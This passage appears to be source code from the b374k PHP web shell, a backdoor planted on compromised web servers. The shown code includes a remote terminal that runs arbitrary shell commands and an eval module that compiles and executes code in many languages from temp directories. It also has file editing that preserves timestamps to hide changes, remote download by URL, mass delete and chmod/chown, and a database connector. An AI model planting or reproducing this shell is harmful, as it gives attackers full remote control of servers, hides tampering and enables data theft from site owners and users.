onclick=\\"multimedia(\'".html_safe(addslashes($file))."\');\\">Load Multimedia File</span></p> </center>"; } elseif($type=="edit"){ $preservecbox = ($preserveTimestamp==\'true\')? " cBoxSelected":""; $content = "<table id=\'editTbl\'><tr><td colspan=\'2\'><input type=\'text\' id=\'editFilename\' class=\'colSpan\' value=\'".html_safe($file)."\' onkeydown=\\"trap_enter(event, \'edit_save_raw\');\\"></td></tr><tr><td class=\'colFit\'><span class=\'button\' onclick=\\"edit_save_raw();\\">save</span></td><td style=\'vertical-align:middle;\'><div class=\'cBox".$preservecbox."\'></div><span>preserve modification timestamp</span><span id=\'editResult\'></span></td></tr><tr><td colspan=\'2\'><textarea id=\'editInput\' spellcheck=\'false\' onkeydown=\\"trap_ctrl_enter(this, event, \'edit_save_raw\');\\">".html_safe(read_file($file))."</textarea></td></tr></table>"; } elseif($type=="hex"){ $preservecbox = ($preserveTimestamp==\'true\')? " cBoxSelected":""; $content = "<table id=\'editTbl\'><tr><td colspan=\'2\'><input type=\'text\' id=\'editFilename\' class=\'colSpan\' value=\'".html_safe($file)."\' onkeydown=\\"trap_enter(event, \'edit_save_hex\');\\"></td></tr><tr><td class=\'colFit\'><span class=\'button\' onclick=\\"edit_save_hex();\\">save</span></td><td style=\'vertical-align:middle;\'><div class=\'cBox".$preservecbox."\'></div><span>preserve modification timestamp</span><span id=\'editHexResult\'></span></td></tr><tr><td colspan=\'2\'><textarea id=\'editInput\' spellcheck=\'false\' onkeydown=\\"trap_ctrl_enter(this, event, \'edit_save_hex\');\\">".bin2hex(read_file($file))."</textarea></td></tr></table>"; } else $content = "<pre>".html_safe(read_file($file))."</pre>"; $output .= " <table id=\'viewFile\' class=\'boxtbl\'> <tr><td style=\'width:120px;\'>Filename</td><td>".html_safe($file)."</td></tr> <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr> ".$owner." <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr> <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr> <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr> <tr data-path=\'".html_safe($file)."\'><td colspan=\'2\'> <span class=\'navigate button\' style=\'width:120px;\'>explorer</span> <span class=\'action button\' style=\'width:120px;\'>action</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'raw\');hide_box();\\">raw</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'code\');hide_box();\\">code</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'hex\');hide_box();\\">hex</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'image\');hide_box();\\">image</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'multimedia\');hide_box();\\">multimedia</span> </td></tr> <tr><td colspan=\'2\'><div id=\'viewFilecontent\'>".$content."</div></td></tr> </table>"; } else $output = "error"; return $output; }\n} if(!function_exists(\'get_writabledir\')){ function get_writabledir(){ if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR; else{ foreach(array(\'TMP\', \'TEMP\', \'TMPDIR\') as $k){ if(!empty($_ENV[$k])){ if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR; } } if(function_exists("sys_get_temp_dir")){ $dir = sys_get_temp_dir(); if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR; } else{ if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; } } $tempfile = tempnam(__FILE__,\'\'); if(file_exists($tempfile)){ $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR; unlink($tempfile); return $dir; } } return false; }\n} if(!function_exists(\'get_drives\')){ function get_drives(){ $drives = ""; $v = explode("\\\\", get_cwd()); $v = $v[0]; foreach (range("A", "Z") as $letter){ if(@is_readable($letter.":\\\\")){ $drives .= "<a class=\'navbar\' data-path=\'".$letter.":\\\\\'>[ "; if($letter.":" != $v) $drives .= $letter; else{$drives .= "<span class=\'drive-letter\'>".$letter."</span>";} $drives .= " ]</a> "; } } return $drives; }\n} if(!function_exists(\'show_all_files\')){ function show_all_files($path){ if(!is_dir($path)) return "No such directory : ".$path; chdir($path); $output = ""; $allfiles = $allfolders = array(); if($res = opendir($path)){ while($file = readdir($res)){ if(($file!=\'.\')&&($file!="..")){ if(is_dir($file)) $allfolders[] = $file; elseif(is_file($file))$allfiles[] = $file; } } } array_unshift($allfolders, "."); $cur = getcwd(); chdir(".."); if(getcwd()!=$cur) array_unshift($allfolders, ".."); chdir($cur); natcasesort($allfolders); natcasesort($allfiles); $cols = array(); if(is_win()){ $cols = array( "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } else{ $cols = array( "owner"=>"get_fileowner", "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } $totalFiles = count($allfiles); $totalFolders = 0; $output .= "<table id=\'xplTable\' class=\'dataView sortable\'><thead>"; $output .= "<tr><th class=\'col-cbox sorttable_nosort\'><div class=\'cBoxAll\'></div></th><th class=\'col-name\'>name</th><th class=\'col-size\'>size</th>"; foreach($cols as $k=>$v){ $output .= "<th class=\'col-".$k."\'>".$k."</th>"; } $output .= "</tr></thead><tbody>"; foreach($allfolders as $d){ $cboxException = ""; if(($d==".")||($d=="..")){ $action = "actiondot"; $cboxException = " cBoxException"; } else{ $action = "actionfolder"; $totalFolders++; } $output .= " <tr data-path=\\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\\"><td><div class=\'cBox".$cboxException."\'></div></td> <td style=\'white-space:normal;\'><a class=\'navigate\'>[ ".html_safe($d)." ]</a><span class=\'".$action." floatRight\'>action</span></td> <td>DIR</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k==\'modified\') $sortable = " title=\'".filemtime($d)."\'"; $output .= "<td".$sortable.">".$v($d)."</td>"; } $output .= "</tr>"; } foreach($allfiles as $f){ $output .= " <tr data-path=\\"".html_safe(realpath($f))."\\"><td><div class=\'cBox\'></div></td> <td style=\'white-space:normal;\'><a class=\'view\'>".html_safe($f)."</a><span class=\'action floatRight\'>action</span></td> <td title=\'".filesize($f)."\'>".get_filesize($f)."</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k==\'modified\') $sortable = " title=\'".filemtime($f)."\'"; $output .= "<td".$sortable.">".$v($f)."</td>"; } $output .= "</tr>"; } $output .= "</tbody><tfoot>"; $colspan = 1 + count($cols); $output .= "<tr><td><div class=\'cBoxAll\'></div></td><td> <select id=\'massAction\' class=\'colSpan\'> <option disabled selected>Action</option> <option>cut</option> <option>copy</option> <option>paste</option> <option>delete</option> <option disabled>------------</option> <option>chmod</option> <option>chown</option> <option>touch</option> <option disabled>------------</option> <option>extract (tar)</option> <option>extract (tar.gz)</option> <option>extract (zip)</option> <option disabled>------------</option> <option>compress (tar)</option> <option>compress (tar.gz)</option> <option>compress (zip)</option> <option disabled>------------</option> </select> </td><td colspan=\'".$colspan."\'></td></tr> <tr><td></td><td colspan=\'".++$colspan."\'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class=\'xplSelected\'></span></td></tr> "; $output .= "</tfoot></table>"; return $output; }\n} if(!function_exists(\'eval_get_supported\')){ function eval_get_supported(){ $eval_supported = array(); $eval_supported[] = "php"; $check = strtolower(execute("python -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "python"; $check = strtolower(execute("perl -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "perl"; $check = strtolower(execute("ruby -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "ruby"; $check = strtolower(execute("node -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "node"; else{ $check = strtolower(execute("nodejs -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs"; } $check = strtolower(execute("gcc --help")); if(strpos($check,"usage")!==false) $eval_supported[] = "gcc"; $check = strtolower(execute("java -help")); if(strpos($check,"usage")!==false){ $check = strtolower(execute("javac -help")); if(strpos($check,"usage")!==false) $eval_supported[] = "java"; } return implode(",", $eval_supported); }\n} if(!function_exists(\'eval_go\')){ function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){ $res = ""; $output = ""; if($evalOptions!="") $evalOptions = $evalOptions." "; if($evalArguments!="") $evalArguments = " ".$evalArguments; if($evalType=="php"){ ob_start(); eval($evalCode); $res = ob_get_contents(); ob_end_clean(); return $res; } elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($path, 0755)){ $res .= " (ok)\\n"; $cmd = $evalType." ".$evalOptions.$path.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="gcc"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".c"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $ext = (is_win())? ".exe":".out"; $pathres = $filename.$ext; $evalOptions = "-o ".$pathres." ".$evalOptions; $cmd = "gcc ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); if(is_file($pathres)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)\\n"; $cmd = $pathres.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="java"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; if(preg_match("/class\\ ([^{]+){/i",$evalCode, $r)){ $classname = trim($r[1]); $filename = $classname; } else{ $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $evalCode = "class ".$filename." { ".$evalCode . " } "; } $path = $filename.".java"; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $cmd = "javac ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); $pathres = $filename.".class"; if(is_file($pathres)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)\\n"; $cmd = "java ".$filename.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="executable"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".exe"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $cmd = $path.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } return false; }\n} if(!function_exists(\'output\')){ function output($str){ $error = @ob_get_contents(); @ob_end_clean(); header("Content-Type: text/plain"); header("Cache-Control: no-cache"); header("Pragma: no-cache"); echo $str; die(); }\n} if(!function_exists(\'is_git_repo\')){ function is_git_repo(){ return boolval( find_git_repo(getcwd().DIRECTORY_SEPARATOR.".git") ); }\n} if(!function_exists(\'find_git_repo\')){ function find_git_repo($path){ if(dirname($path) == DIRECTORY_SEPARATOR){ return false; }else if(is_dir(dirname($path).DIRECTORY_SEPARATOR.".git")){ return dirname($path).DIRECTORY_SEPARATOR.".git"; }else{ return find_git_repo(dirname($path)); } }\n} ?><?php block_bot();\nauth();\nchdir(get_cwd());\n$nav = get_nav(get_cwd());\n$p = array_map("rawurldecode", get_post());\n$cwd = html_safe(get_cwd());\n$GLOBALS[\'module\'] = array(); $explorer_content = "";\nif(isset($p[\'viewEntry\'])){ $path = trim($p[\'viewEntry\']); if(is_file($path)){ $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR; setcookie("cwd", $dirname); chdir($dirname); $nav = get_nav($dirname); $cwd = html_safe($dirname); $explorer_content = view_file($path, "auto"); } elseif(is_dir($path)){ $path = realpath($path).DIRECTORY_SEPARATOR; setcookie("cwd", $path); chdir($path); $nav = get_nav($path); $cwd = html_safe($path); $explorer_content = show_all_files($path); }\n}\nelse $explorer_content = show_all_files(get_cwd()); $GLOBALS[\'module\'][\'explorer\'][\'id\'] = "explorer";\n$GLOBALS[\'module\'][\'explorer\'][\'title\'] = "Explorer";\n$GLOBALS[\'module\'][\'explorer\'][\'js_ontabselected\'] = "";\n$GLOBALS[\'module\'][\'explorer\'][\'content\'] = $explorer_content; $GLOBALS[\'module\'][\'terminal\'][\'id\'] = "terminal";\n$GLOBALS[\'module\'][\'terminal\'][\'title\'] = "Terminal";\n$GLOBALS[\'module\'][\'terminal\'][\'js_ontabselected\'] = "\nif((!portableMode) && ($(\'#terminalOutput\').html()==\'\')) $(\'#terminalInput\').focus();";\n$GLOBALS[\'module\'][\'terminal\'][\'content\'] = "<pre id=\'terminalOutput\'></pre><table id=\'terminalPrompt\'><tr><td class=\'colFit\'><span id=\'terminalCwd\' class=\'strong\'>".get_cwd()."&gt;</span</td><td id=\'terminalCommand\'><input type=\'text\' id=\'terminalInput\' class=\'floatLeft\' spellcheck=\'false\'></td></tr></table>"; $GLOBALS[\'module\'][\'eval\'][\'id\'] = "eval";\n$GLOBALS[\'module\'][\'eval\'][\'title\'] = "Eval";\n$GLOBALS[\'module\'][\'eval\'][\'js_ontabselected\'] = "\nif((!portableMode) && ($(\'#evalOutput\').html()==\'You can also press ctrl+enter to submit\')) $(\'#evalInput\').focus();";\n$GLOBALS[\'module\'][\'eval\'][\'content\'] = "\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'4\'><p class=\'boxtitle\'>Eval</p></th></tr>\n</thead>\n<tbody> <tr><td colspan=\'4\'><textarea id=\'evalInput\' spellcheck=\'false\' style=\'height:140px;min-height:140px;\'></textarea></td></tr> <tr id=\'evalAdditional\'><td colspan=\'4\'> <input type=\'text\' id=\'evalOptions\' value=\'Options/Switches\' spellcheck=\'false\' onkeydown=\\"trap_enter(event, \'eval_go\');\\"> <input type=\'text\' id=\'evalArguments\' value=\'Arguments\' spellcheck=\'false\' onkeydown=\\"trap_enter(event, \'eval_go\');\\"> </td></tr> <tr> <td style=\'width:144px;\'> <select id=\'evalType\'> </select> </td> <td colspan=\'3\'> <span id=\'evalSubmit\' style=\'width:120px;\' class=\'button\' onclick=\\"eval_go();\\">run</span> </td> </tr> <tr><td colspan=\'4\'><pre id=\'evalOutput\'>You can also press ctrl+enter to submit</pre></td</tr>\n</tbody>\n</table>\n"; $res = "";\nif(isset($p[\'cd\'])){ $path = $p[\'cd\']; if(trim($path)==\'\') $path = dirname(__FILE__); $path = realpath($path); if(is_file($path)) $path = dirname($path); if(is_dir($path)){ chdir($path); $path = $path.DIRECTORY_SEPARATOR; setcookie("cwd", $path); $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}"; if(isset($p[\'showfiles\'])&&($p[\'showfiles\']==\'true\')){ $res .= show_all_files($path); } } else $res = "error"; output($res);\n}\nelseif(isset($p[\'viewFile\']) && isset($p[\'viewType\'])){ $path = trim($p[\'viewFile\']); $type = trim($p[\'viewType\']); $preserveTimestamp = trim($p[\'preserveTimestamp\']); if(is_file($path)){ $res = view_file($path, $type, $preserveTimestamp); } else $res = "error"; output($res);\n}\nelseif(isset($p[\'renameFile\']) && isset($p[\'renameFileTo\'])){ $renameFile = trim($p[\'renameFile\']); $renameFileTo = trim($p[\'renameFileTo\']); if(file_exists($renameFile)){ if(rename($renameFile, $renameFileTo)){ $res = dirname($renameFileTo); } else $res = "error"; } else $res = "error"; output($res);\n}\nelseif(isset($p[\'newFolder\'])){ $newFolder = trim($p[\'newFolder\']); if(mkdir($newFolder)){ $res = dirname($newFolder); } else $res = "error"; output($res);\n}\nelseif(isset($p[\'newFile\'])){ $newFile = trim($p[\'newFile\']); if(touch($newFile)){ $res = dirname($newFile); } else $res = "error"; output($res);\n}\nelseif(isset($p[\'delete\'])){ $path = trim($p[\'delete\']); $dirname = dirname($path); if(is_file($path)){ if(unlink($path)) $res = $dirname; } elseif(is_dir($path)){ if(rmdirs($path)>0) $res = $dirname; } else $res = "error"; if(file_exists($path)) $res = "error"; output($res);\n}\nelseif(isset($p[\'editType\'])&&isset($p[\'editFilename\'])&&isset($p[\'editInput\'])&&isset($p[\'preserveTimestamp\'])){ $editFilename = trim($p[\'editFilename\']); $editInput = trim($p[\'editInput\']); $editType = trim($p[\'editType\']); $preserveTimestamp = trim($p[\'preserveTimestamp\']); $time = filemtime($editFilename); if($editType==\'hex\') $editInput = pack("H*" , preg_replace("/\\s/","", $editInput)); if(write_file($editFilename, $editInput)){ $res = $editFilename; if($preserveTimestamp==\'true\') touch($editFilename, $time); } else $res = "error"; output($res);\n}\nelseif(isset($p[\'findType\'])){ $findType = trim($p[\'findType\']); $findPath = trim($p[\'findPath\']); $findName = trim($p[\'findName\']); $findNameRegex = trim($p[\'findNameRegex\']); $findNameInsensitive = trim($p[\'findNameInsensitive\']); $findContent = trim($p[\'findContent\']); $findContentRegex = trim($p[\'findContentRegex\']); $findContentInsensitive = trim($p[\'findContentInsensitive\']); $findReadable = trim($p[\'findReadable\']); $findWritable = trim($p[\'findWritable\']); $findExecutable = trim($p[\'findExecutable\']); $candidate = get_all_files($findPath); if($findType==\'file\') $candidate = array_filter($candidate, "is_file"); elseif($findType==\'folder\') $candidate = array_filter($candidate, "is_dir"); else $res = "error"; foreach($candidate as $k){ if(($findType=="file")||($findType=="folder")){ if(!empty($findName)){ if($findNameRegex=="true"){ $case = ($findNameInsensitive=="true")? "i":""; if(!preg_match("/".$findName."/".$case, basename($k))){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findNameInsensitive=="true"){ $check = strpos(strtolower(basename($k)), strtolower($findName))===false; } else{ $check = strpos(basename($k), $findName)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } if($findType=="file"){ if(!empty($findContent)){ $content = read_file($k); if($findContentRegex=="true"){ $case = ($findContentInsensitive=="true")? "i":""; if(!preg_match("/".$findContent."/".$case, $content)){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findContentInsensitive=="true"){ $check = strpos(strtolower($content), strtolower($findContent))===false; } else{ $check = strpos($content, $findContent)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } } foreach($candidate as $k){ if($findReadable=="true"){ if(!is_readable($k)) $candidate = array_diff($candidate, array($k)); } if($findWritable=="true"){ if(!is_writable($k)) $candidate = array_diff($candidate, array($k)); } if($findExecutable=="true"){ if(!is_executable($k)) $candidate = array_diff($candidate, array($k)); } } if(count($candidate)>0){ $res = ""; foreach($candidate as $k){ $res .= "<p><span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($k)."\' onclick=\'view_entry(this);\'>".html_safe($k)."</a></p>"; } } else $res = ""; output($res);\n}\nelseif(isset($p[\'ulType\'])){ $ulSaveTo = trim($p[\'ulSaveTo\']); $ulFilename = trim($p[\'ulFilename\']); if($p[\'ulType\']==\'comp\'){ $ulFile = $_FILES[\'ulFile\']; if(empty($ulFilename)) $ulFilename = $ulFile[\'name\']; if(is_uploaded_file($ulFile[\'tmp_name\'])){ if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(move_uploaded_file($ulFile[\'tmp_name\'], $newfile)){ $res = "<span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($newfile)."\' onclick=\'view_entry(this);\'>".html_safe($newfile)."</a>&nbsp;( 100% )"; } else $res = "error"; } else $res = "error"; } elseif($p[\'ulType\']==\'url\'){ $ulFile = trim($p[\'ulFile\']); if(empty($ulFilename)) $ulFilename = basename($ulFile); if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(download($ulFile, $newfile)){ $res = "<span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($newfile)."\' onclick=\'view_entry(this);\'>".html_safe($newfile)."</a>&nbsp;( 100% )"; } else $res = "error"; } else $res = "error"; output($res);\n}\nelseif(isset($p[\'download\'])){ $file = trim($p[\'download\']); if(is_file($file)){ header("Content-Type: application/octet-stream"); header(\'Content-Transfer-Encoding: binary\'); header("Content-length: ".filesize($file)); header("Cache-Control: no-cache"); header("Pragma: no-cache"); header("Content-disposition: attachment; filename=\\"".basename($file)."\\";"); $handler = fopen($file,"rb"); while(!feof($handler)){ print(fread($handler, 1024*8)); @ob_flush(); @flush(); } fclose($handler); die(); }\n}\nelseif(isset($p[\'multimedia\'])){ $file = trim($p[\'multimedia\']); $mime_list = get_resource(\'mime\'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\\s]+)\\ .*\\b".$file_ext."\\b.*/i", $mime_list, $res)){ $mime = $res[1]; } } if(is_file($file)){ header("Content-Type: ".$mime); header(\'Content-Transfer-Encoding: binary\'); header("Content-length: ".filesize($file)); echo "data:".$mime.";base64,".base64_encode(read_file($file)); die(); }\n}\nelseif(isset($p[\'massType\'])&&isset($p[\'massBuffer\'])&&isset($p[\'massPath\'])&&isset($p[\'massValue\'])){ $massType = trim($p[\'massType\']); $massBuffer = trim($p[\'massBuffer\']); $massPath = realpath($p[\'massPath\']).DIRECTORY_SEPARATOR; $massValue = trim($p[\'massValue\']); $counter = 0; $massBufferArr = explode("\\n", $massBuffer); if(($massType==\'tar\')||($massType==\'targz\')||($massType==\'zip\')){ if(compress($massType, $massValue, $massBufferArr)){ $counter++; return $counter; } } else{ foreach($massBufferArr as $k){ $path = trim($k); if(file_exists($path)){ $preserveTimestamp = filemtime($path); if($massType==\'delete\'){ if(is_file($path)){ if(unlink($path)) $counter++; } elseif(is_dir($path)){ if(rmdirs($path)>0) $counter++; } } elseif($massType==\'cut\'){ $dest = $massPath.basename($path); if(rename($path, $dest)){ $counter++; touch($dest, $preserveTimestamp); } } elseif($massType==\'copy\'){ $dest = $massPath.basename($path); if(is_dir($path)){ if(copys($path, $dest)>0) $counter++; } elseif(is_file($path)){ if(copy($path, $dest)) $counter++; } } elseif(($massType==\'untar\')||($massType==\'untargz\')||($massType==\'unzip\')){ if(decompress($massType, $path, $massValue)){ $counter++; return $counter; } } elseif(!empty($massValue)){ if($massType==\'chmod\'){ if(chmod($path, octdec($massValue))) $counter++; } elseif($massType==\'chown\'){ if(chown($path, $massValue)) $counter++; } elseif($massType==\'touch\'){ if(touch($path, strtotime($massValue))) $counter++; } } } } } if($counter>0) output($counter); output(\'error\');\n}\nelseif(isset($p[\'viewFileorFolder\'])){ $entry = $p[\'viewFileorFolder\']; if(is_file($entry)) output(\'file\'); elseif(is_dir($entry)) output(\'folder\'); output(\'error\');\n}\nelseif(isset($p[\'terminalInput\'])){ output(html_safe(execute($p[\'terminalInput\'])));\n}\nelseif(isset($p[\'evalInput\']) && isset($p[\'evalType\'])){ $evalInput = $p[\'evalInput\']; $evalOptions = (isset($p[\'evalOptions\']))? $p[\'evalOptions\']:""; $evalArguments = (isset($p[\'evalArguments\']))? $p[\'evalArguments\']:""; $evalType = $p[\'evalType\']; error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set(\'html_errors\',\'0\'); @ini_set(\'display_errors\',\'1\'); @ini_set(\'display_startup_errors\',\'1\'); $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); if($res===false) $res == "error"; output(html_safe($res));\n}\nelseif(isset($p[\'evalGetSupported\'])){ $res = eval_get_supported(); output($res);\n}\n?><?php\n$GLOBALS[\'module\'][\'convert\'][\'id\'] = "convert";\n$GLOBALS[\'module\'][\'convert\'][\'title\'] = "Convert";\n$GLOBALS[\'module\'][\'convert\'][\'js_ontabselected\'] = "\nif((!portableMode) && ($(\'#decodeResult\').children().length==1)) $(\'#decodeStr\').focus();";\n$GLOBALS[\'module\'][\'convert\'][\'content\'] = "\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Convert</p></th></tr>\n</thead>\n<tbody> <tr><td colspan=\'2\'><textarea style=\'height:140px;min-height:140px;\' id=\'decodeStr\'></textarea></td></tr> <tr><td colspan=\'2\'><span class=\'button\' onclick=\'decode_go();\'>convert</span></td></tr>\n</tbody>\n<tfoot id=\'decodeResult\'><tr><td colspan=\'2\'>You can also press ctrl+enter to submit</td></tr></tfoot>\n</table>"; if(!function_exists(\'decode\')){ function decode($str){ $res = ""; $length = (int) strlen($str); $res .= decode_line("md5", md5($str), "input"); $res .= decode_line("sha1", sha1($str), "input"); $res .= decode_line("base64 encode", base64_encode($str), "textarea"); $res .= decode_line("base64 decode", base64_decode($str), "textarea"); $res .= decode_line("hex to string", @pack("H*" , $str), "textarea"); $res .= decode_line("string to hex", bin2hex($str), "textarea"); $ascii = ""; for($i=0; $i<$length; $i++){ $ascii .= ord(substr($str,$i,1))." "; } $res .= decode_line("ascii char", trim($ascii), "textarea"); $res .= decode_line("reversed", strrev($str), "textarea"); $res .= decode_line("lowercase", strtolower($str), "textarea"); $res .= decode_line("uppercase", strtoupper($str), "textarea"); $res .= decode_line("urlencode", urlencode($str), "textarea"); $res .= decode_line("urldecode", urldecode($str), "textarea"); $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); $res .= decode_line("htmlentities", html_safe($str), "textarea"); if(function_exists(\'hash_algos\')){ $algos = hash_algos(); foreach($algos as $algo){ if(($algo==\'md5\')||($algo==\'sha1\')) continue; $res .= decode_line($algo, hash($algo, $str), "input"); } } return $res; }\n} if(!function_exists(\'decode_line\')){ function decode_line($type, $result, $inputtype){ $res = "<tr><td class=\'colFit\'>".$type."</td><td>"; if($inputtype==\'input\'){ $res .= "<input type=\'text\' value=\'".html_safe($result)."\' ondblclick=\'this.select();\'>"; } else{ $res .= "<textarea style=\'height:80px;min-height:80px;\' ondblclick=\'this.select();\'>".html_safe($result)."</textarea>"; } return $res; }\n} if(isset($p[\'decodeStr\'])){ $decodeStr = $p[\'decodeStr\']; output(decode($decodeStr));\n}\n?><?php\n$GLOBALS[\'module\'][\'database\'][\'id\'] = "database";\n$GLOBALS[\'module\'][\'database\'][\'title\'] = "Database";\n$GLOBALS[\'module\'][\'database\'][\'js_ontabselected\'] = "";\n$GLOBALS[\'module\'][\'database\'][\'content\'] = "\n<table class=\'boxtbl\'>\n<thead> <tr><th colspan=\'3\'><p class=\'boxtitle\'>Connect</p></th></tr>\n</thead>\n<tbody> <tr class=\'dbHostRow\'><td style=\'width:144px\' class=\'dbHostLbl\'>Host</td><td colspan=\'2\'><input type=\'text\' id=\'dbHost\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbUserRow\'><td>Username</td><td colspan=\'2\'><input type=\'text\' id=\'dbUser\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbPassRow\'><td>Password</td><td colspan=\'2\'><input type=\'text\' id=\'dbPass\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbPortRow\'><td>Port (Optional)</td><td colspan=\'2\'><input type=\'text\' id=\'dbPort\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr>\n</tbody>\n<tfoot> <tr class=\'dbConnectRow\'> <td style=\'width:144px;\'> <select id=\'dbType\'> </select> </td> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_connect();\\">connect</span></td> <td class=\'dbError\'></td> </tr> <tr class=\'dbQueryRow\' style=\'display:none;\'> <td colspan=\'3\'><textarea id=\'dbQuery\' style=\'min-height:140px;height:140px;\'>You can also press ctrl+enter to submit</textarea></td> 